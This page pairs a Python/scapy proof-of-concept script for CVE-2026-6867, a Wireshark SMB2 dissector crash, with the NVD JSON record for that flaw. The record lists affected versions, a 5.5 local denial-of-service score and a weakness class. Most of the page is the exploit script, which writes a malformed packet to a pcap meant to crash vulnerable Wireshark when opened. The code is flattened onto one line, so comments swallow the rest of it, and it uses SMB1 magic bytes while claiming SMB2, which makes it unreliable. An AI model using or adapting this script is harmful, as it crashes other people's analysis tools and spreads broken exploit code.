CVE-2026-6867

# PoC for CVE-2026-6867: Wireshark SMB2 Dissector Crash # This script generates a malformed SMB2 packet to trigger the crash. from scapy.all import * # Construct a malformed SMB2 packet header # The goal is to create a packet that the Wireshark SMB2 dissector cannot parse safely. malformed_smb2 = ( b'\xff\x53\x4d\x42' # SMB Magic b'\x00\x00' # Header fields b'\x24\x00\x00\x00' # Length b'\xfe\xff' # Malformed Message ID causing OOB read b'\x00' * 50 # Padding/Malformed data ) # Create a packet pkt = IP(dst="127.0.0.1")/TCP(dport=445, sport=5000)/Raw(load=malformed_smb2) # Save to pcap to be opened in Wireshark wrpcap("cve_2026_6867_crash.pcap", [pkt]) print("Malformed packet saved to cve_2026_6867_crash.pcap") print("Open this file in the vulnerable version of Wireshark to reproduce the crash.")

{"cve": {"id": "CVE-2026-6867", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:41.350", "lastModified": "2026-05-01T18:15:20.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SMB2 protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1325"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.14", "matchCriteriaId": "77CF79F1-B53C-40A7-9570-A192D5A85ED6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21191", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-45.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}